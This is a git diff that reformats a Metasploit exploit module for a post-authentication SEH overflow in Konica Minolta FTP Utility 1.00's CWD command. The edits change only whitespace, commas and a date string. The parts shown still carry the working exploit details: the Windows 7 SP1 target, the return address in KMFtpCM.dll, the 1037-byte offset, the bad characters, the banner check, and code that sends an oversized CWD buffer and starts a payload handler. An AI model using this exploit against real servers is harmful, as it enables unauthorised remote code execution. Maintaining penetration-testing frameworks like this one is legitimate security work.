diff --git a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb index 17af6413db..cd66484eb3 100644 --- a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb +++ b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb @@ -13,32 +13,32 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow', - 'Description' => %q{ + 'Name' => 'Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow', + 'Description' => %q{ This module exploits a SEH overflow in Konica Minolta FTP Server 1.00. Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which leads to a SEH overflow. Konica FTP allows anonymous access by default; valid credentials are typically unnecessary to exploit this vulnerability. }, - 'Author' => + 'Author' => [ - 'Shankar Damodaran', # stack overflow dos p.o.c + 'Shankar Damodaran', # stack buffer overflow dos p.o.c 'Muhamad Fadzil Ramli ' # seh overflow, metasploit module ], - 'License' => MSF_LICENSE, - 'References' => + 'License' => MSF_LICENSE, + 'References' => [ - [ 'EBD-ID', '37908' ], + [ 'EBD-ID', '37908' ] ], - 'Privileged' => false, - 'Payload' => + 'Privileged' => false, + 'Payload' => { - 'Space' => 1500, + 'Space' => 1500, 'BadChars' => "\x00\x0a\x2f\x5c", 'DisableNops' => true }, - 'Platform' => 'win', - 'Targets' => + 'Platform' => 'win', + 'Targets' => [ [ 'Windows 7 SP1 x86', @@ -46,9 +46,9 @@ class Metasploit3 < Msf::Exploit::Remote 'Ret' => 0x12206d9d, # ppr - KMFtpCM.dll 'Offset' => 1037 } - ], + ] ], - 'DisclosureDate' => 'August 23 2015', + 'DisclosureDate' => 'Aug 23 2015', 'DefaultTarget' => 0)) end @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote connect disconnect - if (banner =~ /FTP Utility FTP server/) + if banner =~ /FTP Utility FTP server/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe @@ -72,10 +72,9 @@ class Metasploit3 < Msf::Exploit::Remote buf << rand_text(3000) print_status("Sending exploit buffer...") - send_cmd( ['CWD', buf] , false) # this will automatically put a space between 'CWD' and our attack string + send_cmd(['CWD', buf], false) # this will automatically put a space between 'CWD' and our attack string handler disconnect end - end